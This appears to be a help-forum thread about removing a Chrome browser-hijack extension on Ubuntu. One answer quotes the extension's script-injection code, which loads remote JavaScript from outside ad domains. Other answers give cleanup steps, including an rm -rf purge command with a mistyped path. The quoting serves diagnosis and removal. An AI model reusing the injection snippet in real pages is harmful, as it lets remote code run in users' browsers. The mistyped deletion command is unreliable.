Does anyone have experience removing the 'youradexchange.com' browser hijack on ubuntu? I find a lot of information regarding this for Windows, but there is nothing for linux. When I am using Chrome, I always see, "waiting for my-app-analytics.com". Googling has led me to believe it is related to the browser hijack.

  • Try completely removing chrome and then install it. – 0x2b3bfa0 Mar 28 '15 at 19:23

I have exactly the same issue.

I manage to remove the malware extension from my ubuntu machine.

The extension is saved under :


But it could be saved under another folder name. You can find it searching for this file :

find -name gui_web.js

Just delete this folder, and it should be fixed.

the content of this file is explicit :

var app  = document.createElement('script');
app.type = 'text/javascript';
app.src  = '//www.web-cdn.net/cdn/web.js';

It downloads this script web.js which content is :

var app  = document.createElement('script');
app.type = 'text/javascript';
app.src  = '//www.my-app-analytics.com/app-ga.php';
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If you are running Windows OS, then this post will definitely help, as it did to me. Try some similar action to remove the malware from Ubuntu:

  1. Check add-ons (/usr/lib/chromium-browser) and remove any suspicious (YourAdExchange should be there).
  2. Delete Chrome caches (~/.cache/google-chrome) and personal files (~/.config/google-chrome).
  3. Reset homepage to Google.

If the above steps do not work, you may install clamAV (works in some cases). Hope this helps!

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This problem with browser maybe resolved by removing and reinsalling it.

Remove google chrome and its setting completely by executing following command in terminal (Ctrl+Alt+T).

sudo apt-get remove google-chrome-stable --purge && rm -rf /.config/google-chrome ~/.cache/google-chrome && sudo rm -rf /etc/default/google-chrome

Then reinstall google-chrome by executing the following command in Terminal :

sudo apt-get install google-chrome-stable
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If you are having trouble in all browsers or all machines on the same network, it is likely a DNS issue.

You can simply reset your modem.

If you can't, change your machine's DNS with the public one, such as google DNS.

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